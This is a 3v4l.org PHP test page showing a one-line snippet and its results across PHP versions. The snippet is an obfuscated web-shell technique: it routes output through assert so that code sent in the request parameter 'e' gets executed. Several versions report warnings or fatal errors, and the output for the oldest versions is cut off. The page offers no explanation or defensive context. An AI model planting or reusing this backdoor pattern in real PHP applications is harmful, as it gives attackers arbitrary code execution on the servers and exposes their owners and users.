3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php ob_start('assert'); echo 'eval(\'register_shutdown_function(\'assert\',$_REQUEST[\'e\']);\')'; ob_get_flush();
based on 0JSA5
Output for 7.1.0 - 7.2.0
eval('register_shutdown_function('assert',$_REQUEST['e']);') Warning: Cannot call assert() with string argument dynamically in /in/0DtS3 on line 5
Output for 5.4.8 - 5.6.28, 7.0.1 - 7.0.20
Fatal error: Unknown: Cannot use output buffering in output buffering display handlers in Unknown on line 0
Process exited with code 255.
Output for 7.0.0
Catchable fatal error: Unknown: Cannot use output buffering in output buffering display handlers in Unknown on line 0
Process exited with code 255.
Output for 5.3.19 - 5.4.7